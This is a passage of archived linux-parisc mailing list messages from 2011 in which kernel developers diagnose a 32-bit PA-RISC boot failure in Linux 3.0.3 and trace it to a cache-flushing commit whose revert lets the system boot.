References: <201108191958.35802.eike-kernel@sf-tec.de>
 <a53708ae6c6247c7ce45d4e5b8131ea7.squirrel@webmail.sf-mail.de>
 <20110831154820.GH22818@bombadil.infradead.org>
 <20110831160419.GI22818@bombadil.infradead.org>
 <65eae6bb26716d64e7f5959302b26fa9.squirrel@webmail.sf-mail.de>
 <74797e028a4c070f42df834f9b0b0079.squirrel@webmail.sf-mail.de>
 <20110906134611.GA25825@bombadil.infradead.org>
NNTP-Posting-Host: lo.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: dough.gmane.org 1315317645 8164 80.91.229.12 (6 Sep 2011 14:00:45 GMT)
X-Complaints-To: usenet@dough.gmane.org
NNTP-Posting-Date: Tue, 6 Sep 2011 14:00:45 +0000 (UTC)
Cc: linux-parisc@vger.kernel.org
To: Rolf Eike Beer <eike-kernel@sf-tec.de>
Original-X-From: linux-parisc-owner@vger.kernel.org Tue Sep 06 16:00:40 2011
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@lo.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by lo.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1R0wCe-0000bj-89
	for glpp-linux-parisc@lo.gmane.org; Tue, 06 Sep 2011 16:00:40 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1754654Ab1IFOAa (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Tue, 6 Sep 2011 10:00:30 -0400
Original-Received: from 173-166-109-252-newengland.hfc.comcastbusiness.net ([173.166.109.252]:34821
	"EHLO bombadil.infradead.org" rhost-flags-OK-OK-OK-OK)
	by vger.kernel.org with ESMTP id S1754626Ab1IFOAa (ORCPT
	<rfc822;linux-parisc@vger.kernel.org>);
	Tue, 6 Sep 2011 10:00:30 -0400
Original-Received: from kyle by bombadil.infradead.org with local (Exim 4.76 #1 (Red Hat Linux))
	id 1R0wCT-0003qm-Cj; Tue, 06 Sep 2011 14:00:29 +0000
Content-Disposition: inline
In-Reply-To: <20110906134611.GA25825@bombadil.infradead.org>
User-Agent: Mutt/1.5.21 (2010-09-15)
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:3934
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/3934>

On Tue, Sep 06, 2011 at 09:46:11AM -0400, Kyle McMartin wrote:
> > >> I suspect bootmem changes have broken somewhere on 32-bit... try
> > >> inserting a few printk between each of the function calls at the start
> > >> of paging_init to try to narrow down exactly where it fails.
> > >
> > > It's flush_cache_all_local() that fails.
> > 
> > 2.6.39.4 works.
> > 
> 
> Well... that's weird.
> 
   0:	43 ff ff 40 	ldb 7fa0(r31),r31

Is the faulting insn, and %r31 is 00000000... so
we're looking at 32672, which looks suspiciously like
a negative offset from 32768.

Looks like it's a null pointer dereference, there shouldn't be anything
useful at this address, if I remember our address space map correctly.

--Kyle
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:07:34 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: James Bottomley <James.Bottomley@HansenPartnership.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: Boot failure with 3.0.3: swapper (pid 0): Protection id trap
 (code 7)
Date: Tue, 06 Sep 2011 09:15:07 -0500
Lines: 48
Approved: news@gmane.org
Message-ID: <1315318507.6567.2.camel@dabdike.int.hansenpartnership.com>
References: <201108191958.35802.eike-kernel@sf-tec.de>
	 <a53708ae6c6247c7ce45d4e5b8131ea7.squirrel@webmail.sf-mail.de>
	 <20110831154820.GH22818@bombadil.infradead.org>
	 <20110831160419.GI22818@bombadil.infradead.org>
	 <65eae6bb26716d64e7f5959302b26fa9.squirrel@webmail.sf-mail.de>
	 <74797e028a4c070f42df834f9b0b0079.squirrel@webmail.sf-mail.de>
	 <20110906134611.GA25825@bombadil.infradead.org>
	 <20110906140029.GB25825@bombadil.infradead.org>
NNTP-Posting-Host: lo.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset="UTF-8"
Content-Transfer-Encoding: 7bit
X-Trace: dough.gmane.org 1315318517 14798 80.91.229.12 (6 Sep 2011 14:15:17 GMT)
X-Complaints-To: usenet@dough.gmane.org
NNTP-Posting-Date: Tue, 6 Sep 2011 14:15:17 +0000 (UTC)
Cc: Rolf Eike Beer <eike-kernel@sf-tec.de>,
	linux-parisc@vger.kernel.org
To: Kyle McMartin <kyle@mcmartin.ca>
Original-X-From: linux-parisc-owner@vger.kernel.org Tue Sep 06 16:15:12 2011
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@lo.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by lo.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1R0wQh-0008Rw-1v
	for glpp-linux-parisc@lo.gmane.org; Tue, 06 Sep 2011 16:15:11 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1754632Ab1IFOPK (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Tue, 6 Sep 2011 10:15:10 -0400
Original-Received: from bedivere.hansenpartnership.com ([66.63.167.143]:42257 "EHLO
	bedivere.hansenpartnership.com" rhost-flags-OK-OK-OK-OK)
	by vger.kernel.org with ESMTP id S1754626Ab1IFOPJ (ORCPT
	<rfc822;linux-parisc@vger.kernel.org>);
	Tue, 6 Sep 2011 10:15:09 -0400
Original-Received: from localhost (localhost [127.0.0.1])
	by bedivere.hansenpartnership.com (Postfix) with ESMTP id A9F098EE152;
	Tue,  6 Sep 2011 07:15:08 -0700 (PDT)
Original-Received: from bedivere.hansenpartnership.com ([127.0.0.1])
	by localhost (bedivere.hansenpartnership.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id wCm3RAKJTubc; Tue,  6 Sep 2011 07:15:08 -0700 (PDT)
Original-Received: from [192.168.2.11] (dagonet.hansenpartnership.com [76.243.235.53])
	by bedivere.hansenpartnership.com (Postfix) with ESMTPSA id 2832D8EE136;
	Tue,  6 Sep 2011 07:15:08 -0700 (PDT)
In-Reply-To: <20110906140029.GB25825@bombadil.infradead.org>
X-Mailer: Evolution 2.32.1 
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:3935
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/3935>

On Tue, 2011-09-06 at 10:00 -0400, Kyle McMartin wrote:
> On Tue, Sep 06, 2011 at 09:46:11AM -0400, Kyle McMartin wrote:
> > > >> I suspect bootmem changes have broken somewhere on 32-bit... try
> > > >> inserting a few printk between each of the function calls at the start
> > > >> of paging_init to try to narrow down exactly where it fails.
> > > >
> > > > It's flush_cache_all_local() that fails.
> > > 
> > > 2.6.39.4 works.
> > > 
> > 
> > Well... that's weird.
> > 
>    0:	43 ff ff 40 	ldb 7fa0(r31),r31
> 
> Is the faulting insn, and %r31 is 00000000... so
> we're looking at 32672, which looks suspiciously like
> a negative offset from 32768.
> 
> Looks like it's a null pointer dereference, there shouldn't be anything
> useful at this address, if I remember our address space map correctly.

It's possible that one of the flushing patches is to blame; I just can't
see how.  Most likely is

commit d7dd2ff11b7fcd425aca5a875983c862d19a67ae
Author: James Bottomley <James.Bottomley@HansenPartnership.com>
Date:   Thu Apr 14 18:25:21 2011 -0500

    [PARISC] only make executable areas executable

Least likely:

commit b7d45818444a31948cfc7849136013a0ea54b2fb
Author: James Bottomley <James.Bottomley@HansenPartnership.com>
Date:   Fri Apr 15 12:37:22 2011 -0500

    [PARISC] prevent speculative re-read on cache flush

James



--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:07:34 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Kyle McMartin <kyle@mcmartin.ca>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: Boot failure with 3.0.3: swapper (pid 0): Protection id trap
 (code 7)
Date: Tue, 6 Sep 2011 10:20:25 -0400
Lines: 39
Approved: news@gmane.org
Message-ID: <20110906142025.GC25825@bombadil.infradead.org>
References: <201108191958.35802.eike-kernel@sf-tec.de>
 <a53708ae6c6247c7ce45d4e5b8131ea7.squirrel@webmail.sf-mail.de>
 <20110831154820.GH22818@bombadil.infradead.org>
 <20110831160419.GI22818@bombadil.infradead.org>
 <65eae6bb26716d64e7f5959302b26fa9.squirrel@webmail.sf-mail.de>
 <74797e028a4c070f42df834f9b0b0079.squirrel@webmail.sf-mail.de>
 <20110906134611.GA25825@bombadil.infradead.org>
 <20110906140029.GB25825@bombadil.infradead.org>
 <1315318507.6567.2.camel@dabdike.int.hansenpartnership.com>
NNTP-Posting-Host: lo.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: dough.gmane.org 1315318840 17115 80.91.229.12 (6 Sep 2011 14:20:40 GMT)
X-Complaints-To: usenet@dough.gmane.org
NNTP-Posting-Date: Tue, 6 Sep 2011 14:20:40 +0000 (UTC)
Cc: Rolf Eike Beer <eike-kernel@sf-tec.de>,
	linux-parisc@vger.kernel.org
To: James Bottomley <James.Bottomley@HansenPartnership.com>
Original-X-From: linux-parisc-owner@vger.kernel.org Tue Sep 06 16:20:32 2011
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@lo.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by lo.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1R0wVs-0002ju-3K
	for glpp-linux-parisc@lo.gmane.org; Tue, 06 Sep 2011 16:20:32 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1754701Ab1IFOU2 (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Tue, 6 Sep 2011 10:20:28 -0400
Original-Received: from 173-166-109-252-newengland.hfc.comcastbusiness.net ([173.166.109.252]:46692
	"EHLO bombadil.infradead.org" rhost-flags-OK-OK-OK-OK)
	by vger.kernel.org with ESMTP id S1752957Ab1IFOU2 (ORCPT
	<rfc822;linux-parisc@vger.kernel.org>);
	Tue, 6 Sep 2011 10:20:28 -0400
Original-Received: from kyle by bombadil.infradead.org with local (Exim 4.76 #1 (Red Hat Linux))
	id 1R0wVl-0007i3-VB; Tue, 06 Sep 2011 14:20:26 +0000
Content-Disposition: inline
In-Reply-To: <1315318507.6567.2.camel@dabdike.int.hansenpartnership.com>
User-Agent: Mutt/1.5.21 (2010-09-15)
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:3936
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/3936>

On Tue, Sep 06, 2011 at 09:15:07AM -0500, James Bottomley wrote:
> It's possible that one of the flushing patches is to blame; I just can't
> see how.  Most likely is
> 
> commit d7dd2ff11b7fcd425aca5a875983c862d19a67ae
> Author: James Bottomley <James.Bottomley@HansenPartnership.com>
> Date:   Thu Apr 14 18:25:21 2011 -0500
> 
>     [PARISC] only make executable areas executable
> 

This looks promising, the second commit doesn't touch the flush_*_local,
so I think it's probably not a candidate.

Rolf, can you revert d7dd2ff11b7fcd425aca5a875983c862d19a67ae and see
what happens?

Thanks James.

--Kyle

> Least likely:
> 
> commit b7d45818444a31948cfc7849136013a0ea54b2fb
> Author: James Bottomley <James.Bottomley@HansenPartnership.com>
> Date:   Fri Apr 15 12:37:22 2011 -0500
> 
>     [PARISC] prevent speculative re-read on cache flush
> 
> James
> 
> 
> 
> 
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:07:34 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: John David Anglin <dave.anglin@bell.net>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: Boot failure with 3.0.3: swapper (pid 0): Protection id trap
 (code 7)
Date: Tue, 06 Sep 2011 10:41:16 -0400
Lines: 38
Approved: news@gmane.org
Message-ID: <4E66310C.1050201@bell.net>
References: <201108191958.35802.eike-kernel@sf-tec.de> <a53708ae6c6247c7ce45d4e5b8131ea7.squirrel@webmail.sf-mail.de> <20110831154820.GH22818@bombadil.infradead.org> <20110831160419.GI22818@bombadil.infradead.org> <65eae6bb26716d64e7f5959302b26fa9.squirrel@webmail.sf-mail.de> <74797e028a4c070f42df834f9b0b0079.squirrel@webmail.sf-mail.de> <20110906134611.GA25825@bombadil.infradead.org> <20110906140029.GB25825@bombadil.infradead.org>
NNTP-Posting-Host: lo.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=ISO-8859-1; format=flowed
Content-Transfer-Encoding: 7bit
X-Trace: dough.gmane.org 1315320077 27062 80.91.229.12 (6 Sep 2011 14:41:17 GMT)
X-Complaints-To: usenet@dough.gmane.org
NNTP-Posting-Date: Tue, 6 Sep 2011 14:41:17 +0000 (UTC)
Cc: Rolf Eike Beer <eike-kernel@sf-tec.de>,
	linux-parisc@vger.kernel.org
To: Kyle McMartin <kyle@mcmartin.ca>
Original-X-From: linux-parisc-owner@vger.kernel.org Tue Sep 06 16:41:09 2011
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@lo.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by lo.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1R0wpo-0005j6-Rg
	for glpp-linux-parisc@lo.gmane.org; Tue, 06 Sep 2011 16:41:09 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1753319Ab1IFOk4 (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Tue, 6 Sep 2011 10:40:56 -0400
Original-Received: from mail16.primus.ca ([216.254.141.183]:57204 "EHLO
	mail-06.primus.ca" rhost-flags-OK-OK-OK-FAIL) by vger.kernel.org
	with ESMTP id S1754746Ab1IFOky (ORCPT
	<rfc822;linux-parisc@vger.kernel.org>);
	Tue, 6 Sep 2011 10:40:54 -0400
Original-Received: from luxcom.gta.igs.net ([216.58.85.197] helo=[192.168.0.129])
	by mail-06.primus.ca with esmtpa (Exim 4.72)
	(envelope-from <dave.anglin@bell.net>)
	id 1R0wpU-0001bg-1Z; Tue, 06 Sep 2011 10:40:48 -0400
User-Agent: Mozilla/5.0 (Windows NT 5.1; rv:6.0.1) Gecko/20110830 Thunderbird/6.0.1
In-Reply-To: <20110906140029.GB25825@bombadil.infradead.org>
X-Authenticated: danglin-lux@magma.ca - luxcom.gta.igs.net ([192.168.0.129]) [216.58.85.197]
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:3937
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/3937>

On 9/6/2011 10:00 AM, Kyle McMartin wrote:
> On Tue, Sep 06, 2011 at 09:46:11AM -0400, Kyle McMartin wrote:
>>>>> I suspect bootmem changes have broken somewhere on 32-bit... try
>>>>> inserting a few printk between each of the function calls at the start
>>>>> of paging_init to try to narrow down exactly where it fails.
>>>> It's flush_cache_all_local() that fails.
>>> 2.6.39.4 works.
>>>
>> Well... that's weird.
>>
>     0:	43 ff ff 40 	ldb 7fa0(r31),r31
>
> Is the faulting insn, and %r31 is 00000000... so
> we're looking at 32672, which looks suspiciously like
> a negative offset from 32768.
>
> Looks like it's a null pointer dereference, there shouldn't be anything
> useful at this address, if I remember our address space map correctly.
The fault was code 7.  Also, I don't think this instruction is in 
flush_cache_all_local
(at least I don't see it in 64-bit kernel).  So, I think the problem is 
in setting up the address
space map.

In my testing with 64-bit kernels, I have noticed that the first call to 
flush_cache_range
doesn't have a range consistent with our 32-bit user address space.

Dave

-- 
John David Anglin    dave.anglin@bell.net

--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:07:34 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "Rolf Eike Beer" <eike-kernel@sf-tec.de>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: Boot failure with 3.0.3: swapper (pid 0): Protection id trap
 (code 7)
Date: Tue, 6 Sep 2011 17:06:12 +0200
Lines: 37
Approved: news@gmane.org
Message-ID: <ae22ebda7a73aae9b33643aac9064ed0.squirrel@webmail.sf-mail.de>
References: <201108191958.35802.eike-kernel@sf-tec.de>
    <a53708ae6c6247c7ce45d4e5b8131ea7.squirrel@webmail.sf-mail.de>
    <20110831154820.GH22818@bombadil.infradead.org>
    <20110831160419.GI22818@bombadil.infradead.org>
    <65eae6bb26716d64e7f5959302b26fa9.squirrel@webmail.sf-mail.de>
    <74797e028a4c070f42df834f9b0b0079.squirrel@webmail.sf-mail.de>
    <20110906134611.GA25825@bombadil.infradead.org>
    <20110906140029.GB25825@bombadil.infradead.org>
    <4E66310C.1050201@bell.net>
NNTP-Posting-Host: lo.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=US-ASCII
Content-Transfer-Encoding: 7BIT
X-Trace: dough.gmane.org 1315321584 7039 80.91.229.12 (6 Sep 2011 15:06:24 GMT)
X-Complaints-To: usenet@dough.gmane.org
NNTP-Posting-Date: Tue, 6 Sep 2011 15:06:24 +0000 (UTC)
To: linux-parisc@vger.kernel.org
Original-X-From: linux-parisc-owner@vger.kernel.org Tue Sep 06 17:06:15 2011
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@lo.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by lo.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1R0xE6-0002oS-Hd
	for glpp-linux-parisc@lo.gmane.org; Tue, 06 Sep 2011 17:06:14 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1754747Ab1IFPGO (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Tue, 6 Sep 2011 11:06:14 -0400
Original-Received: from mail.sf-mail.de ([62.27.20.61]:45711 "EHLO mail.sf-mail.de"
	rhost-flags-OK-OK-OK-OK) by vger.kernel.org with ESMTP
	id S1754257Ab1IFPGN (ORCPT <rfc822;linux-parisc@vger.kernel.org>);
	Tue, 6 Sep 2011 11:06:13 -0400
Original-Received: (qmail 22673 invoked by uid 81); 6 Sep 2011 15:06:12 -0000
Original-Received: from 80.150.94.234
        (SquirrelMail authenticated user eike@sf-mail.de)
        by webmail.sf-mail.de with HTTP;
        Tue, 6 Sep 2011 17:06:12 +0200
In-Reply-To: <4E66310C.1050201@bell.net>
User-Agent: SquirrelMail/1.4.22
X-Priority: 3 (Normal)
Importance: Normal
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:3938
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/3938>

> On 9/6/2011 10:00 AM, Kyle McMartin wrote:
>> On Tue, Sep 06, 2011 at 09:46:11AM -0400, Kyle McMartin wrote:
>>>>>> I suspect bootmem changes have broken somewhere on 32-bit... try
>>>>>> inserting a few printk between each of the function calls at the
>>>>>> start
>>>>>> of paging_init to try to narrow down exactly where it fails.
>>>>> It's flush_cache_all_local() that fails.
>>>> 2.6.39.4 works.
>>>>
>>> Well... that's weird.
>>>
>>     0:	43 ff ff 40 	ldb 7fa0(r31),r31
>>
>> Is the faulting insn, and %r31 is 00000000... so
>> we're looking at 32672, which looks suspiciously like
>> a negative offset from 32768.
>>
>> Looks like it's a null pointer dereference, there shouldn't be anything
>> useful at this address, if I remember our address space map correctly.
> The fault was code 7.  Also, I don't think this instruction is in
> flush_cache_all_local
> (at least I don't see it in 64-bit kernel).  So, I think the problem is
> in setting up the address
> space map.
>
> In my testing with 64-bit kernels, I have noticed that the first call to
> flush_cache_range
> doesn't have a range consistent with our 32-bit user address space.

This is a 32 bit kernel.

Eike
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:07:34 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "Rolf Eike Beer" <eike-kernel@sf-tec.de>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: Boot failure with 3.0.3: swapper (pid 0): Protection id trap
 (code 7)
Date: Tue, 6 Sep 2011 17:06:35 +0200
Lines: 25
Approved: news@gmane.org
Message-ID: <ae3de0fe39e56a022785eab6b105e6c7.squirrel@webmail.sf-mail.de>
References: <201108191958.35802.eike-kernel@sf-tec.de>
    <a53708ae6c6247c7ce45d4e5b8131ea7.squirrel@webmail.sf-mail.de>
    <20110831154820.GH22818@bombadil.infradead.org>
    <20110831160419.GI22818@bombadil.infradead.org>
    <65eae6bb26716d64e7f5959302b26fa9.squirrel@webmail.sf-mail.de>
    <74797e028a4c070f42df834f9b0b0079.squirrel@webmail.sf-mail.de>
    <20110906134611.GA25825@bombadil.infradead.org>
    <20110906140029.GB25825@bombadil.infradead.org>
    <1315318507.6567.2.camel@dabdike.int.hansenpartnership.com>
    <20110906142025.GC25825@bombadil.infradead.org>
NNTP-Posting-Host: lo.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=US-ASCII
Content-Transfer-Encoding: 7BIT
X-Trace: dough.gmane.org 1315321604 7177 80.91.229.12 (6 Sep 2011 15:06:44 GMT)
X-Complaints-To: usenet@dough.gmane.org
NNTP-Posting-Date: Tue, 6 Sep 2011 15:06:44 +0000 (UTC)
To: linux-parisc@vger.kernel.org
Original-X-From: linux-parisc-owner@vger.kernel.org Tue Sep 06 17:06:40 2011
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@lo.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by lo.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1R0xEV-0003OJ-Oh
	for glpp-linux-parisc@lo.gmane.org; Tue, 06 Sep 2011 17:06:40 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1754257Ab1IFPGj (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Tue, 6 Sep 2011 11:06:39 -0400
Original-Received: from mail.sf-mail.de ([62.27.20.61]:56847 "EHLO mail.sf-mail.de"
	rhost-flags-OK-OK-OK-OK) by vger.kernel.org with ESMTP
	id S1754815Ab1IFPGh (ORCPT <rfc822;linux-parisc@vger.kernel.org>);
	Tue, 6 Sep 2011 11:06:37 -0400
Original-Received: (qmail 22723 invoked by uid 81); 6 Sep 2011 15:06:35 -0000
Original-Received: from 80.150.94.234
        (SquirrelMail authenticated user eike@sf-mail.de)
        by webmail.sf-mail.de with HTTP;
        Tue, 6 Sep 2011 17:06:35 +0200
In-Reply-To: <20110906142025.GC25825@bombadil.infradead.org>
User-Agent: SquirrelMail/1.4.22
X-Priority: 3 (Normal)
Importance: Normal
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:3939
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/3939>

> On Tue, Sep 06, 2011 at 09:15:07AM -0500, James Bottomley wrote:
>> It's possible that one of the flushing patches is to blame; I just can't
>> see how.  Most likely is
>>
>> commit d7dd2ff11b7fcd425aca5a875983c862d19a67ae
>> Author: James Bottomley <James.Bottomley@HansenPartnership.com>
>> Date:   Thu Apr 14 18:25:21 2011 -0500
>>
>>     [PARISC] only make executable areas executable
>>
>
> This looks promising, the second commit doesn't touch the flush_*_local,
> so I think it's probably not a candidate.
>
> Rolf, can you revert d7dd2ff11b7fcd425aca5a875983c862d19a67ae and see
> what happens?

Yes, testing.

Eike
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:07:35 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "Rolf Eike Beer" <eike-kernel@sf-tec.de>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: Boot failure with 3.0.3: swapper (pid 0): Protection id trap
 (code 7)
Date: Wed, 7 Sep 2011 10:00:06 +0200
Lines: 26
Approved: news@gmane.org
Message-ID: <bae45ceac5dc55d07fb5ab64243b85bc.squirrel@webmail.sf-mail.de>
References: <201108191958.35802.eike-kernel@sf-tec.de>
    <a53708ae6c6247c7ce45d4e5b8131ea7.squirrel@webmail.sf-mail.de>
    <20110831154820.GH22818@bombadil.infradead.org>
    <20110831160419.GI22818@bombadil.infradead.org>
    <65eae6bb26716d64e7f5959302b26fa9.squirrel@webmail.sf-mail.de>
    <74797e028a4c070f42df834f9b0b0079.squirrel@webmail.sf-mail.de>
    <20110906134611.GA25825@bombadil.infradead.org>
    <20110906140029.GB25825@bombadil.infradead.org>
    <1315318507.6567.2.camel@dabdike.int.hansenpartnership.com>
    <20110906142025.GC25825@bombadil.infradead.org>
NNTP-Posting-Host: lo.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=US-ASCII
Content-Transfer-Encoding: 7BIT
X-Trace: dough.gmane.org 1315414909 22683 80.91.229.12 (7 Sep 2011 17:01:49 GMT)
X-Complaints-To: usenet@dough.gmane.org
NNTP-Posting-Date: Wed, 7 Sep 2011 17:01:49 +0000 (UTC)
To: linux-parisc@vger.kernel.org
Original-X-From: linux-parisc-owner@vger.kernel.org Wed Sep 07 19:01:45 2011
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@lo.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by lo.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1R1LVP-0002Hl-D2
	for glpp-linux-parisc@lo.gmane.org; Wed, 07 Sep 2011 19:01:43 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1754536Ab1IGRBK (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Wed, 7 Sep 2011 13:01:10 -0400
Original-Received: from mail.sf-mail.de ([62.27.20.61]:45488 "EHLO mail.sf-mail.de"
	rhost-flags-OK-OK-OK-OK) by vger.kernel.org with ESMTP
	id S1753565Ab1IGRBI (ORCPT <rfc822;linux-parisc@vger.kernel.org>);
	Wed, 7 Sep 2011 13:01:08 -0400
Original-Received: (qmail 29824 invoked by uid 81); 7 Sep 2011 08:00:06 -0000
Original-Received: from 80.150.94.234
        (SquirrelMail authenticated user eike@sf-mail.de)
        by webmail.sf-mail.de with HTTP;
        Wed, 7 Sep 2011 10:00:06 +0200
In-Reply-To: <20110906142025.GC25825@bombadil.infradead.org>
User-Agent: SquirrelMail/1.4.22
X-Priority: 3 (Normal)
Importance: Normal
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:3940
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/3940>

> On Tue, Sep 06, 2011 at 09:15:07AM -0500, James Bottomley wrote:
>> It's possible that one of the flushing patches is to blame; I just can't
>> see how.  Most likely is
>>
>> commit d7dd2ff11b7fcd425aca5a875983c862d19a67ae
>> Author: James Bottomley <James.Bottomley@HansenPartnership.com>
>> Date:   Thu Apr 14 18:25:21 2011 -0500
>>
>>     [PARISC] only make executable areas executable
>>
>
> This looks promising, the second commit doesn't touch the flush_*_local,
> so I think it's probably not a candidate.
>
> Rolf, can you revert d7dd2ff11b7fcd425aca5a875983c862d19a67ae and see
> what happens?

What happens is that the system boots and from a first glance seems to
work fine.

Eike
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:07:35 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: John David Anglin <dave.anglin@bell.net>
